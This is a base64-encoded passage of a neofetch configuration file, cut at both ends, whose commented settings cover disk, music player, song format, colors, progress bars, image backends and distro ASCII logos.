csICdvZmYnCiMgRmxhZzogICAgLS1kZV92ZXJzaW9uCmRlX3ZlcnNpb249Im9uIgoKCiMgRGlzawoKCiMgV2hpY2ggZGlza3MgdG8gZGlzcGxheS4KIyBUaGUgdmFsdWVzIGNhbiBiZSBhbnkgL2Rldi9zZFhYLCBtb3VudCBwb2ludCBvciBkaXJlY3RvcnkuCiMgTk9URTogQnkgZGVmYXVsdCB3ZSBvbmx5IHNob3cgdGhlIGRpc2sgaW5mbyBmb3IgJy8nLgojCiMgRGVmYXVsdDogJy8nCiMgVmFsdWVzOiAgJy8nLCAnL2Rldi9zZFhYJywgJy9wYXRoL3RvL2RyaXZlJy4KIyBGbGFnOiAgICAtLWRpc2tfc2hvdwojCiMgRXhhbXBsZToKIyBkaXNrX3Nob3c9KCcvJyAnL2Rldi9zZGIxJyk6CiMgICAgICAnRGlzayAoLyk6IDc0RyAvIDExOEcgKDY2JSknCiMgICAgICAnRGlzayAoL21udC9WaWRlb3MpOiA4MjNHIC8gODkzRyAoOTMlKScKIwojIGRpc2tfc2hvdz0oJy8nKToKIyAgICAgICdEaXNrICgvKTogNzRHIC8gMTE4RyAoNjYlKScKIwpkaXNrX3Nob3c9KCcvJykKCiMgRGlzayBzdWJ0aXRsZS4KIyBXaGF0IHRvIGFwcGVuZCB0byB0aGUgRGlzayBzdWJ0aXRsZS4KIwojIERlZmF1bHQ6ICdtb3VudCcKIyBWYWx1ZXM6ICAnbW91bnQnLCAnbmFtZScsICdkaXInLCAnbm9uZScKIyBGbGFnOiAgICAtLWRpc2tfc3VidGl0bGUKIwojIEV4YW1wbGU6CiMgbmFtZTogICAnRGlzayAoL2Rldi9zZGExKTogNzRHIC8gMTE4RyAoNjYlKScKIyAgICAgICAgICdEaXNrICgvZGV2L3NkYjIpOiA3NEcgLyAxMThHICg2NiUpJwojCiMgbW91bnQ6ICAnRGlzayAoLyk6IDc0RyAvIDExOEcgKDY2JSknCiMgICAgICAgICAnRGlzayAoL21udC9Mb2NhbCBEaXNrKTogNzRHIC8gMTE4RyAoNjYlKScKIyAgICAgICAgICdEaXNrICgvbW50L1ZpZGVvcyk6IDc0RyAvIDExOEcgKDY2JSknCiMKIyBkaXI6ICAgICdEaXNrICgvKTogNzRHIC8gMTE4RyAoNjYlKScKIyAgICAgICAgICdEaXNrIChMb2NhbCBEaXNrKTogNzRHIC8gMTE4RyAoNjYlKScKIyAgICAgICAgICdEaXNrIChWaWRlb3MpOiA3NEcgLyAxMThHICg2NiUpJwojCiMgbm9uZTogICAnRGlzazogNzRHIC8gMTE4RyAoNjYlKScKIyAgICAgICAgICdEaXNrOiA3NEcgLyAxMThHICg2NiUpJwojICAgICAgICAgJ0Rpc2s6IDc0RyAvIDExOEcgKDY2JSknCmRpc2tfc3VidGl0bGU9Im1vdW50IgoKIyBEaXNrIHBlcmNlbnQuCiMgU2hvdy9IaWRlIGRpc2sgcGVyY2VudC4KIwojIERlZmF1bHQ6ICdvbicKIyBWYWx1ZXM6ICAnb24nLCAnb2ZmJwojIEZsYWc6ICAgIC0tZGlza19wZXJjZW50CiMKIyBFeGFtcGxlOgojIG9uOiAgJ0Rpc2sgKC8pOiA3NEcgLyAxMThHICg2NiUpJwojIG9mZjogJ0Rpc2sgKC8pOiA3NEcgLyAxMThHJwpkaXNrX3BlcmNlbnQ9Im9uIgoKCiMgU29uZwoKCiMgTWFudWFsbHkgc3BlY2lmeSBhIG11c2ljIHBsYXllci4KIwojIERlZmF1bHQ6ICdhdXRvJwojIFZhbHVlczogICdhdXRvJywgJ3BsYXllci1uYW1lJwojIEZsYWc6ICAgIC0tbXVzaWNfcGxheWVyCiMKIyBBdmFpbGFibGUgdmFsdWVzIGZvciAncGxheWVyLW5hbWUnOgojCiMgYW1hcm9rCiMgYXVkYWNpb3VzCiMgYmFuc2hlZQojIGJsdWVtaW5kbwojIGNsZW1lbnRpbmUKIyBjbXVzCiMgZGVhZGJlZWYKIyBkZWVwaW4tbXVzaWMKIyBkcmFnb24KIyBlbGlzYQojIGV4YWlsZQojIGdub21lLW11c2ljCiMgZ211c2ljYnJvd3NlcgojIGdvZ2dsZXNtbQojIGd1YXlhZGVxdWUKIyBpby5lbGVtZW50YXJ5Lm11c2ljCiMgaVR1bmVzCiMgTXVzaWMKIyBqdWsKIyBsb2xseXBvcAojIE1lbGxvd1BsYXllcgojIG1vY3AKIyBtb3BpZHkKIyBtcGQKIyBtdWluZQojIG5ldGVhc2UtY2xvdWQtbXVzaWMKIyBvbGl2aWEKIyBwbGF5ZXJjdGwKIyBwb2dvCiMgcHJhZ2hhCiMgcW1tcAojIHF1b2RsaWJldAojIHJoeXRobWJveAojIHNheW9uYXJhCiMgc21wbGF5ZXIKIyBzcG90aWZ5CiMgc3RyYXdiZXJyeQojIHRhdW9ubWIKIyB0b21haGF3awojIHZsYwojIHhtbXMyZAojIHhub2lzZQojIHlhcm9jawptdXNpY19wbGF5ZXI9ImF1dG8iCgojIEZvcm1hdCB0byBkaXNwbGF5IHNvbmcgaW5mb3JtYXRpb24uCiMKIyBEZWZhdWx0OiAnJWFydGlzdCUgLSAlYWxidW0lIC0gJXRpdGxlJScKIyBWYWx1ZXM6ICAnJWFydGlzdCUnLCAnJWFsYnVtJScsICcldGl0bGUlJwojIEZsYWc6ICAgIC0tc29uZ19mb3JtYXQKIwojIEV4YW1wbGU6CiMgZGVmYXVsdDogJ1Nvbmc6IEpldCAtIEdldCBCb3JuIC0gU2d0IE1ham9yJwpzb25nX2Zvcm1hdD0iJWFydGlzdCUgLSAlYWxidW0lIC0gJXRpdGxlJSIKCiMgUHJpbnQgdGhlIEFydGlzdCwgQWxidW0gYW5kIFRpdGxlIG9uIHNlcGFyYXRlIGxpbmVzCiMKIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1zb25nX3Nob3J0aGFuZAojCiMgRXhhbXBsZToKIyBvbjogICdBcnRpc3Q6IFRoZSBGcmF0ZWxsaXMnCiMgICAgICAnQWxidW06IENvc3RlbGxvIE11c2ljJwojICAgICAgJ1Nvbmc6IENoZWxzZWEgRGFnZ2VyJwojCiMgb2ZmOiAnU29uZzogVGhlIEZyYXRlbGxpcyAtIENvc3RlbGxvIE11c2ljIC0gQ2hlbHNlYSBEYWdnZXInCnNvbmdfc2hvcnRoYW5kPSJvZmYiCgojICdtcGMnIGFyZ3VtZW50cyAoc3BlY2lmeSBhIGhvc3QsIHBhc3N3b3JkIGV0YykuCiMKIyBEZWZhdWx0OiAgJycKIyBFeGFtcGxlOiBtcGNfYXJncz0oLWggSE9TVCAtUCBQQVNTV09SRCkKbXBjX2FyZ3M9KCkKCgojIFRleHQgQ29sb3JzCgoKIyBUZXh0IENvbG9ycwojCiMgRGVmYXVsdDogICdkaXN0cm8nCiMgVmFsdWVzOiAgICdkaXN0cm8nLCAnbnVtJyAnbnVtJyAnbnVtJyAnbnVtJyAnbnVtJyAnbnVtJwojIEZsYWc6ICAgICAtLWNvbG9ycwojCiMgRWFjaCBudW1iZXIgcmVwcmVzZW50cyBhIGRpZmZlcmVudCBwYXJ0IG9mIHRoZSB0ZXh0IGluCiMgdGhpcyBvcmRlcjogJ3RpdGxlJywgJ0AnLCAndW5kZXJsaW5lJywgJ3N1YnRpdGxlJywgJ2NvbG9uJywgJ2luZm8nCiMKIyBFeGFtcGxlOgojIGNvbG9ycz0oZGlzdHJvKSAgICAgIC0gVGV4dCBpcyBjb2xvcmVkIGJhc2VkIG9uIERpc3RybyBjb2xvcnMuCiMgY29sb3JzPSg0IDYgMSA4IDggNikgLSBUZXh0IGlzIGNvbG9yZWQgaW4gdGhlIG9yZGVyIGFib3ZlLgpjb2xvcnM9KGRpc3RybykKCgojIFRleHQgT3B0aW9ucwoKCiMgVG9nZ2xlIGJvbGQgdGV4dAojCiMgRGVmYXVsdDogICdvbicKIyBWYWx1ZXM6ICAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAgLS1ib2xkCmJvbGQ9Im9uIgoKIyBFbmFibGUvRGlzYWJsZSBVbmRlcmxpbmUKIwojIERlZmF1bHQ6ICAnb24nCiMgVmFsdWVzOiAgICdvbicsICdvZmYnCiMgRmxhZzogICAgIC0tdW5kZXJsaW5lCnVuZGVybGluZV9lbmFibGVkPSJvbiIKCiMgVW5kZXJsaW5lIGNoYXJhY3RlcgojCiMgRGVmYXVsdDogICctJwojIFZhbHVlczogICAnc3RyaW5nJwojIEZsYWc6ICAgICAtLXVuZGVybGluZV9jaGFyCnVuZGVybGluZV9jaGFyPSItIgoKCiMgSW5mbyBTZXBhcmF0b3IKIyBSZXBsYWNlIHRoZSBkZWZhdWx0IHNlcGFyYXRvciB3aXRoIHRoZSBzcGVjaWZpZWQgc3RyaW5nLgojCiMgRGVmYXVsdDogICc6JwojIEZsYWc6ICAgICAtLXNlcGFyYXRvcgojCiMgRXhhbXBsZToKIyBzZXBhcmF0b3I9Ii0+IjogICAnU2hlbGwtPiBiYXNoJwojIHNlcGFyYXRvcj0iID0iOiAgICdXTSA9IGR3bScKc2VwYXJhdG9yPSI6IgoKCiMgQ29sb3IgQmxvY2tzCgoKIyBDb2xvciBibG9jayByYW5nZQojIFRoZSByYW5nZSBvZiBjb2xvcnMgdG8gcHJpbnQuCiMKIyBEZWZhdWx0OiAgJzAnLCAnMTUnCiMgVmFsdWVzOiAgICdudW0nCiMgRmxhZzogICAgIC0tYmxvY2tfcmFuZ2UKIwojIEV4YW1wbGU6CiMKIyBEaXNwbGF5IGNvbG9ycyAwLTcgaW4gdGhlIGJsb2Nrcy4gICg4IGNvbG9ycykKIyBuZW9mZXRjaCAtLWJsb2NrX3JhbmdlIDAgNwojCiMgRGlzcGxheSBjb2xvcnMgMC0xNSBpbiB0aGUgYmxvY2tzLiAoMTYgY29sb3JzKQojIG5lb2ZldGNoIC0tYmxvY2tfcmFuZ2UgMCAxNQpibG9ja19yYW5nZT0oMCAxNSkKCiMgVG9nZ2xlIGNvbG9yIGJsb2NrcwojCiMgRGVmYXVsdDogICdvbicKIyBWYWx1ZXM6ICAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAgLS1jb2xvcl9ibG9ja3MKY29sb3JfYmxvY2tzPSJvbiIKCiMgQ29sb3IgYmxvY2sgd2lkdGggaW4gc3BhY2VzCiMKIyBEZWZhdWx0OiAgJzMnCiMgVmFsdWVzOiAgICdudW0nCiMgRmxhZzogICAgIC0tYmxvY2tfd2lkdGgKYmxvY2tfd2lkdGg9MwoKIyBDb2xvciBibG9jayBoZWlnaHQgaW4gbGluZXMKIwojIERlZmF1bHQ6ICAnMScKIyBWYWx1ZXM6ICAgJ251bScKIyBGbGFnOiAgICAgLS1ibG9ja19oZWlnaHQKYmxvY2tfaGVpZ2h0PTEKCiMgQ29sb3IgQWxpZ25tZW50CiMKIyBEZWZhdWx0OiAnYXV0bycKIyBWYWx1ZXM6ICdhdXRvJywgJ251bScKIyBGbGFnOiAtLWNvbF9vZmZzZXQKIwojIE51bWJlciBzcGVjaWZpZXMgaG93IGZhciBmcm9tIHRoZSBsZWZ0IHNpZGUgb2YgdGhlIHRlcm1pbmFsIChpbiBzcGFjZXMpIHRvCiMgYmVnaW4gcHJpbnRpbmcgdGhlIGNvbHVtbnMsIGluIGNhc2UgeW91IHdhbnQgdG8gZS5nLiBjZW50ZXIgdGhlbSB1bmRlciB5b3VyCiMgdGV4dC4KIyBFeGFtcGxlOgojIGNvbF9vZmZzZXQ9ImF1dG8iIC0gRGVmYXVsdCBiZWhhdmlvciBvZiBuZW9mZXRjaAojIGNvbF9vZmZzZXQ9NyAgICAgIC0gTGVhdmUgNyBzcGFjZXMgdGhlbiBwcmludCB0aGUgY29sb3JzCmNvbF9vZmZzZXQ9ImF1dG8iCgojIFByb2dyZXNzIEJhcnMKCgojIEJhciBjaGFyYWN0ZXJzCiMKIyBEZWZhdWx0OiAgJy0nLCAnPScKIyBWYWx1ZXM6ICAgJ3N0cmluZycsICdzdHJpbmcnCiMgRmxhZzogICAgIC0tYmFyX2NoYXIKIwojIEV4YW1wbGU6CiMgbmVvZmV0Y2ggLS1iYXJfY2hhciAnZWxhcHNlZCcgJ3RvdGFsJwojIG5lb2ZldGNoIC0tYmFyX2NoYXIgJy0nICc9JwpiYXJfY2hhcl9lbGFwc2VkPSItIgpiYXJfY2hhcl90b3RhbD0iPSIKCiMgVG9nZ2xlIEJhciBib3JkZXIKIwojIERlZmF1bHQ6ICAnb24nCiMgVmFsdWVzOiAgICdvbicsICdvZmYnCiMgRmxhZzogICAgIC0tYmFyX2JvcmRlcgpiYXJfYm9yZGVyPSJvbiIKCiMgUHJvZ3Jlc3MgYmFyIGxlbmd0aCBpbiBzcGFjZXMKIyBOdW1iZXIgb2YgY2hhcnMgbG9uZyB0byBtYWtlIHRoZSBwcm9ncmVzcyBiYXJzLgojCiMgRGVmYXVsdDogICcxNScKIyBWYWx1ZXM6ICAgJ251bScKIyBGbGFnOiAgICAgLS1iYXJfbGVuZ3RoCmJhcl9sZW5ndGg9MTUKCiMgUHJvZ3Jlc3MgYmFyIGNvbG9ycwojIFdoZW4gc2V0IHRvIGRpc3RybywgdXNlcyB5b3VyIGRpc3RybydzIGxvZ28gY29sb3JzLgojCiMgRGVmYXVsdDogICdkaXN0cm8nLCAnZGlzdHJvJwojIFZhbHVlczogICAnZGlzdHJvJywgJ251bScKIyBGbGFnOiAgICAgLS1iYXJfY29sb3JzCiMKIyBFeGFtcGxlOgojIG5lb2ZldGNoIC0tYmFyX2NvbG9ycyAzIDQKIyBuZW9mZXRjaCAtLWJhcl9jb2xvcnMgZGlzdHJvIDUKYmFyX2NvbG9yX2VsYXBzZWQ9ImRpc3RybyIKYmFyX2NvbG9yX3RvdGFsPSJkaXN0cm8iCgoKIyBJbmZvIGRpc3BsYXkKIyBEaXNwbGF5IGEgYmFyIHdpdGggdGhlIGluZm8uCiMKIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogICdiYXInLCAnaW5mb2JhcicsICdiYXJpbmZvJywgJ29mZicKIyBGbGFnczogICAtLW1lbW9yeV9kaXNwbGF5CiMgICAgICAgICAgLS1iYXR0ZXJ5X2Rpc3BsYXkKIyAgICAgICAgICAtLWRpc2tfZGlzcGxheQojCiMgRXhhbXBsZToKIyBiYXI6ICAgICAnWy0tLT09PT09PT1dJwojIGluZm9iYXI6ICdpbmZvIFstLS09PT09PT09XScKIyBiYXJpbmZvOiAnWy0tLT09PT09PT1dIGluZm8nCiMgb2ZmOiAgICAgJ2luZm8nCm1lbW9yeV9kaXNwbGF5PSJvZmYiCmJhdHRlcnlfZGlzcGxheT0ib2ZmIgpkaXNrX2Rpc3BsYXk9Im9mZiIKCgojIEJhY2tlbmQgU2V0dGluZ3MKCgojIEltYWdlIGJhY2tlbmQuCiMKIyBEZWZhdWx0OiAgJ2FzY2lpJwojIFZhbHVlczogICAnYXNjaWknLCAnY2FjYScsICdjYXRpbWcnLCAnY2hhZmEnLCAnanAyYScsICdpdGVybTInLCAnb2ZmJywKIyAgICAgICAgICAgJ3BvdCcsICd0ZXJtcGl4JywgJ3BpeHRlcm0nLCAndHljYXQnLCAndzNtJywgJ2tpdHR5JywgJ3VlYmVyenVnJywKIyAgICAgICAgICAgJ3ZpdScKCiMgRmxhZzogICAgIC0tYmFja2VuZAppbWFnZV9iYWNrZW5kPSJhc2NpaSIKCiMgSW1hZ2UgU291cmNlCiMKIyBXaGljaCBpbWFnZSBvciBhc2NpaSBmaWxlIHRvIGRpc3BsYXkuCiMKIyBEZWZhdWx0OiAgJ2F1dG8nCiMgVmFsdWVzOiAgICdhdXRvJywgJ2FzY2lpJywgJ3dhbGxwYXBlcicsICcvcGF0aC90by9pbWcnLCAnL3BhdGgvdG8vYXNjaWknLCAnL3BhdGgvdG8vZGlyLycKIyAgICAgICAgICAgJ2NvbW1hbmQgb3V0cHV0IChuZW9mZXRjaCAtLWFzY2lpICIkKGZvcnR1bmUgfCBjb3dzYXkgLVcgMzApIiknCiMgRmxhZzogICAgIC0tc291cmNlCiMKIyBOT1RFOiAnYXV0bycgd2lsbCBwaWNrIHRoZSBiZXN0IGltYWdlIHNvdXJjZSBmb3Igd2hhdGV2ZXIgaW1hZ2UgYmFja2VuZCBpcyB1c2VkLgojICAgICAgIEluIGFzY2lpIG1vZGUsIGRpc3RybyBhc2NpaSBhcnQgd2lsbCBiZSB1c2VkIGFuZCBpbiBhbiBpbWFnZSBtb2RlLCB5b3VyCiMgICAgICAgd2FsbHBhcGVyIHdpbGwgYmUgdXNlZC4KaW1hZ2Vfc291cmNlPSJhdXRvIgoKCiMgQXNjaWkgT3B0aW9ucwoKCiMgQXNjaWkgZGlzdHJvCiMgV2hpY2ggZGlzdHJvJ3MgYXNjaWkgYXJ0IHRvIGRpc3BsYXkuCiMKIyBEZWZhdWx0OiAnYXV0bycKIyBWYWx1ZXM6ICAnYXV0bycsICdkaXN0cm9fbmFtZScKIyBGbGFnOiAgICAtLWFzY2lpX2Rpc3RybwojIE5PVEU6IEFJWCwgSGFzaCwgQWxwaW5lLCBBbHRlckxpbnV4LCBBbWF6b24sIEFuYXJjaHksIEFuZHJvaWQsIGluc3RhbnRPUywKIyAgICAgICBBbnRlcmdvcywgYW50aVgsICJBT1NDIE9TIiwgIkFPU0MgT1MvUmV0cm8iLCBBcHJpY2l0eSwgQXJjaENyYWZ0LAojICAgICAgIEFyY29MaW51eCwgQXJjaEJveCwgQVJDSGxhYnMsIEFyY2hTdHJpa2UsIFhGZXJpZW5jZSwgQXJjaE1lcmdlLCBBcmNoLAojICAgICAgIEFydGl4LCBBcnlhLCBCZWRyb2NrLCBCaXRyaWcsIEJsYWNrQXJjaCwgQkxBRywgQmxhbmtPbiwgQmx1ZUxpZ2h0LAojICAgICAgIEJvZGhpLCBib25zYWksIEJTRCwgQnVuc2VuTGFicywgQ2FsY3VsYXRlLCBDYXJicywgQ2VudE9TLCBDaGFrcmEsIENoYWxldE9TLAojICAgICAgIENoYXBlYXUsIENocm9tKiwgQ2xlYW5qYXJvLCBDbGVhck9TLCBDbGVhcl9MaW51eCwgQ2xvdmVyLCBDb25kcmVzLAojICAgICAgIENvbnRhaW5lcl9MaW51eCwgQ3J5c3RhbCBMaW51eCwgQ1JVWCwgQ3VjdW1iZXIsIGRhaGxpYSwgRGViaWFuLCBEZWVwaW4sCiMgICAgICAgRGVzYU9TLCBEZXZ1YW4sIERyYWNPUywgRGFya09zLCBJdGMsIERyYWdvbkZseSwgRHJhdWdlciwgRWxlbWVudGFyeSwKIyAgICAgICBFbmRlYXZvdXJPUywgRW5kbGVzcywgRXVyb0xpbnV4LCBFeGhlcmJvLCBGZWRvcmEsIEZlcmVuLCBGcmVlQlNELAojICAgICAgIEZyZWVNaU5ULCBGcnVnYWx3YXJlLCBGdW50b28sIEdhbGxpdW1PUywgR2FydWRhLCBHZW50b28sIFBlbnRvbywKIyAgICAgICBnTmV3U2Vuc2UsIEdOT01FLCBHTlUsIEdvYm9MaW51eCwgR3JvbWJ5YW5nLCBHdWl4LCBIYWlrdSwgSHVheXJhLCBIeWRyb09TCiMgICAgICAgSHlwZXJib2xhLCBpZ2x1bml4LCBqYW51cywgS2FsaSwgS2FPUywgS0RFX25lb24sIEtpYm9qb2UsIEtvZ2Fpb24sIEtvcm9yYSwKIyAgICAgICBLU0xpbnV4LCBLdWJ1bnR1LCBMRURFLCBMYXhlck9TLCBMaWJyZUVMRUMsIExGUywgTGludXhfTGl0ZSwgTE1ERSwKIyAgICAgICBMdWJ1bnR1LCBMdW5hciwgbWFjb3MsIE1hZ2VpYSwgTWFncGllT1MsIE1hbmRyaXZhLCBNYW5qYXJvLCBUZUFyY2gsIE1hdWksCiMgICAgICAgTWVyLCBNaW5peCwgTGludXhNaW50LCBMaXZlX1JhaXpvLCBNWF9MaW51eCwgTmFtaWIsIE5lcHR1bmUsIE5ldEJTRCwKIyAgICAgICBOZXRydW5uZXIsIE5pdHJ1eCwgTml4T1MsIE51cnVubmVyLCBOdVR5WCwgT0JSZXZlbmdlLCBPcGVuQlNELAojICAgICAgIG9wZW5FdWxlciwgT3BlbkluZGlhbmEsIG9wZW5tYW1iYSwgT3Blbk1hbmRyaXZhLCBPcGVuU3RhZ2UsIE9wZW5XcnQsCiMgICAgICAgb3NtYywgT3JhY2xlLCBPUyBFbGJydXMsIFBhY0JTRCwgUGFyYWJvbGEsIFBhcmR1cywgUGFycm90LCBQYXJzaXgsCiMgICAgICAgVHJ1ZU9TLCBQQ0xpbnV4T1MsIFBlbmd3aW4sIFBlcHBlcm1pbnQsIFBpc2ksIHBvcG9zLCBQb3J0ZXVzLCBQb3N0TWFya2V0T1MsCiMgICAgICAgUHJveG1veCwgUHVmZk9TLCBQdXBweSwgUHVyZU9TLCBRdWJlcywgUXVieXQsIFF1aWJpYW4sIFJhZGl4LCBSYXNwYmlhbiwKIyAgICAgICBSZWJvcm5fT1MsIFJlZHN0YXIsIFJlZGNvcmUsIFJlZGhhdCwgUmVmcmFjdGVkX0RldnVhbiwgUmVnYXRhLCBSZWdvbGl0aCwKIyAgICAgICBSb2NreSwgUm9zYSwgc2Fib3RhZ2UsIFNhYmF5b24sIFNhaWxmaXNoLCBTYWxlbnRPUywgU2NpZW50aWZpYywgU2VwdG9yLAojICAgICAgIFNlcmVuZUxpbnV4LCBTaGFya0xpbnV4LCBTaWR1Y3Rpb24sIFNraWZmT1MsIFNsYWNrd2FyZSwgU2xpVGF6LCBTbWFydE9TLAojICAgICAgIFNvbHVzLCBTb3VyY2VfTWFnZSwgU3Bhcmt5LCBTdGFyLCBTdGVhbU9TLCBTdW5PUywgb3BlblNVU0VfTGVhcCwgdDIsCiMgICAgICAgb3BlblNVU0VfVHVtYmxld2VlZCwgb3BlblNVU0UsIFN3YWdBcmNoLCBUYWlscywgVHJpc3F1ZWwsCiMgICAgICAgVWJ1bnR1LUNpbm5hbW9uLCBVYnVudHUtQnVkZ2llLCBVYnVudHUtR05PTUUsIFVidW50dS1NQVRFLAojICAgICAgIFVidW50dS1TdHVkaW8sIFVidW50dSwgVW5pdmVudGlvbiwgVmVub20sIFZvaWQsIFZOdXgsIExhbmdpdEtldHVqdWgsIHNlbWMsCiMgICAgICAgT2JhcnVuLCB3aW5kb3dzMTAsIFdpbmRvd3M3LCBYdWJ1bnR1LCBab3JpbiwgYW5kIElSSVggaGF2ZSBhc2NpaSBsb2dvcy4KIyBOT1RFOiBBcmNoLCBVYnVudHUsIFJlZGhhdCwgRmVkb3JhIGFuZCBEcmFnb25mbHkgaGF2ZSAnb2xkJyBsb2dvIHZhcmlhbnRzLgojICAgICAgIFVzZSAne2Rpc3RybyBuYW1lfV9vbGQnIHRvIHVzZSB0aGUgb2xkIGxvZ29zLgojIE5PVEU6IFVidW50dSBoYXMgZmxhdm9yIHZhcmlhbnRzLgojICAgICAgIENoYW5nZSB0aGlzIHRvIEx1YnVudHUsIEt1YnVudHUsIFh1YnVudHUsIFVidW50dS1HTk9NRSwKIyAgICAgICBVYnVudHUtU3R1ZGlvLCBVYnVudHUtTWF0ZSAgb3IgVWJ1bnR1LUJ1ZGdpZSB0byB1c2UgdGhlIGZsYXZvcnMuCiMgTk9URTogQXJjb2xpbnV4LCBEcmFnb25mbHksIEZlZG9yYSwgQWxwaW5lLCBBcmNoLCBVYnVudHUsCiMgICAgICAgQ1JVWCwgRGViaWFuLCBHZW50b28sIEZyZWVCU0QsIE1hYywgTml4T1MsIE9wZW5CU0QsIGFuZHJvaWQsCiMgICAgICAgQXJ0aXgsIENlbnRPUywgQ2xlYW5qYXJvLCBFbGVtZW50YXJ5T1MsIEdVSVgsIEh5cGVyYm9sYSwKIyAgICAgICBNYW5qYXJvLCBNWExpbnV4LCBOZXRCU0QsIFBhcmFib2xhLCBQT1BfT1MsIFB1cmVPUywKIyAgICAgICBTbGFja3dhcmUsIFN1bk9TLCBMaW51eExpdGUsIE9wZW5TVVNFLCBSYXNwYmlhbiwKIyAgICAgICBwb3N0bWFya2V0T1MsIGFuZCBWb2lkIGhhdmUgYSBzbWFsbGVyIGxvZ28gdmFyaWFudC4KIyAgICAgICBVc2UgJ3tkaXN0cm8gbmFtZX1fc21hbGwnIHRvIHVzZSB0aGUgc21hbGwgdmFyaWFudHMuCmFzY2lpX2Rpc3Rybz0iYXV0byIKCiMgQXNjaWkgQ29sb3JzCiMKIyBEZWZhdWx0OiAgJ2Rpc3RybycKIyBWYWx1ZXM6ICAgJ2Rpc3RybycsICdudW0nICdudW0nICdudW0nICdudW0nICdudW0nICdudW0nCiMgRmxhZzogICAgIC0tYXNjaWlfY29sb3JzCiMKIyBFeGFtcGxlOgojIGFzY2lpX2NvbG9ycz0oZGlzdHJvKSAgICAgIC0gQXNjaWkgaXMgY29sb3JlZCBiYXNlZCBvbiBEaXN0cm8gY29sb3JzLgojIGFzY2lpX2NvbG9ycz0oNCA2IDEgOCA4IDYpIC0gQXNjaWkgaXMgY29sb3JlZCB1c2luZyB0aGVzZSBjb2xvcnMuCmFzY2lpX2NvbG9ycz0oZGlzdHJvKQoKIyBCb2xkIGFzY2lpIGxvZ28KIyBXaGV0aGVyIG9yIG5vdCB0byBib2xkIHRoZSBhc2NpaSBsb2dvLgojCiMgRGVmYXVsdDogJ29uJwojIFZhbHVlczogICdvbicsICdvZmYnCiMgRmxhZzogICAgLS1hc2NpaV9ib2xkCmFzY2lpX2JvbGQ9Im9uIgoKCiMgSW1hZ2UgT3B0aW9ucwoKCiMgSW1hZ2UgbG9vcAojIFNldHRpbmcgdGhpcyB0byBvbiB3aWxsIG1ha2UgbmVvZmV0Y2ggcmVkcmF3IHRoZSBpbWFnZSBjb25zdGFudGx5IHVudGlsCiMgQ3RybCtDIGlzIHByZXNzZWQuIFRoaXMgZml4ZXMgZGlzcGxheSBpc3N1ZXMgaW4gc29tZSB0ZXJtaW5hbCBlbXVsYXRvcnMuCiMKIyBEZWZhdWx0OiAgJ29mZicKIyBWYWx1ZXM6ICAgJ29uJywgJ29mZicKIyBGbGFnOiAgICAgLS1sb29wCmltYWdlX2xvb3A9Im9mZiIKCiMgVGh1bWJuYWlsIGRpcmVjdG9yeQojCiMgRGVmYXVsdDogJ34vLmNhY2hlL3RodW1ibmFpbHMvbmVvZmV0Y2gnCiMgVmFsdWVzOiAgJ2RpcicKdGh1bWJuYWlsX2Rpcj0iJHtYREdfQ0FDSEVfSE9NRTotJHtIT01FfS8uY2FjaGV9L3RodW1ibmFpbHMvbmVvZmV0Y2giCgojIENyb3AgbW9kZQojCiMgRGVmYXVsdDogICdub3JtYWwnCiMgVmFsdWVzOiAgICdub3JtYWwnLCAnZml0JywgJ2ZpbGwnCiMgRmxhZzogICAgIC0tY3JvcF9tb2RlCiMKIyBTZWUgdGhpcyB3aWtpIHBhZ2UgdG8gbGVhcm4gYWJvdXQgdGhlIGZpdCBhbmQgZmlsbCBvcHRpb25zLgojIGh0dHBzOi8vZ2l0aHViLmNvbS9keWxhbmFyYXBzL25lb2ZldGNoL3dpa2kvV2hhdC1pcy1XYWlmdS1Dcm9wJTNGCmNyb3BfbW9kZT0ibm9ybWFsIgoKIyBDcm9wIG9mZnNldAojIE5vdGU6IE9ubHkgYWZmZWN0cyAnbm9ybWFsJyBjcm9wIG1vZGUuCiMKIyBEZWZhdWx0OiAgJ2NlbnRlcicKIyBWYWx1ZXM6ICAgJ25vcnRod2VzdCcsICdub3J0aCcsICdub3J0aGVhc3QnLCAnd2VzdCcsICdjZW50ZXInCiMgICAgICAgICAgICdlYXN0JywgJ3NvdXRod2VzdCcsICdzb3V0aCcsICdzb3V0aGVhc3QnCiMgRmxhZzogICAgIC0tY3JvcF9vZmZzZXQKY3JvcF9vZmZzZXQ9ImNlbnRlciIKCiMgSW1hZ2Ugc2l6ZQojIFRoZSBpbWFnZSBpcyBoYWxmIHRoZSB0ZXJtaW5hbCB3aWR0aCBieSBkZWZhdWx0LgojCiMgRGVmYXVsdDogJ2F1dG8nCiMgVmFsdWVzOiAgJ2F1dG8nLCAnMDBweCcsICcwMCUnLCAnbm9uZScKIyBGbGFnczogICAtLWltYWdlX3NpemUKIyAgICAgICAgICAtLXNpemUKaW1hZ2Vfc2l6ZT0iYXV0byIKCiMgQ2F0aW1nIGJsb2NrIHNpemUuCiMgQ29udHJvbCB0aGUgcmVzb2x1dGlvbiBvZiBjYXRpbWcuCiMKIyBEZWZhdWx0OiAnMicKIyBWYWx1ZXM6ICAnMScsICcyJwojIEZsYWdzOiAgIC0tY2F0aW1nX3NpemUKY2F0aW1nX3NpemU9IjIiCgojIEdhcCBiZXR3ZWVuIGltYWdlIGFuZCB0ZXh0CiMKIyBEZWZhdWx0OiAnMycKIyBWYWx1ZXM6ICAnbnVtJywgJy1udW0nCiMgRmxhZzogICAgLS1nYXAKZ2FwPTMKCiMgSW1hZ2Ugb2Zmc2V0cwojIE9ubHkgd29ya3Mgd2l0aCB0aGUgdzNtIGJhY2tlbmQuCiMKIyBEZWZhdWx0OiAnMCcKIyBWYWx1ZXM6ICAncHgnCiMgRmxhZ3M6ICAgLS14b2Zmc2V0CiMgICAgICAgICAgLS15b2Zmc2V0CnlvZmZzZXQ9MAp4b2Zmc2V0PTAKCiMgSW1hZ2UgYmFja2dyb3VuZCBjb2xvcgojIE9ubHkgd29ya3Mgd2l0aCB0aGUgdzNtIGJhY2tlbmQuCiMKIyBEZWZhdWx0OiAnJwojIFZhbHVlczogICdjb2xvcicsICdibHVlJwojIEZsYWc6ICAgIC0tYmdfY29sb3IKYmFja2dyb3VuZF9jb2xvcj0KCgojIE1pc2MgT3B0aW9ucwoKIyBTdGRvdXQgbW9kZQojIFR1cm4gb2ZmIGFsbCBjb2xvcnMgYW5kIGRpc2